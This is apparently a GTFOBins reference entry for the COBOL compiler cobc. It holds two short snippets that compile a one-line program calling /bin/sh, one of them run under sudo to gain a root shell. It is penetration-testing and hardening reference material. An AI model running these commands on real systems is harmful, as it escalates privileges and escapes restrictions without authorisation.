GTFOBins.github.io/_gtfobins/cobc.md

14 lines
319 B
Markdown
Raw Normal View History

2020-03-14 06:38:18 +01:00
---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
cobc -xFj --frelax-syntax-checks $TF/x
sudo:
- code: |
TF=$(mktemp -d)
echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
sudo cobc -xFj --frelax-syntax-checks $TF/x
---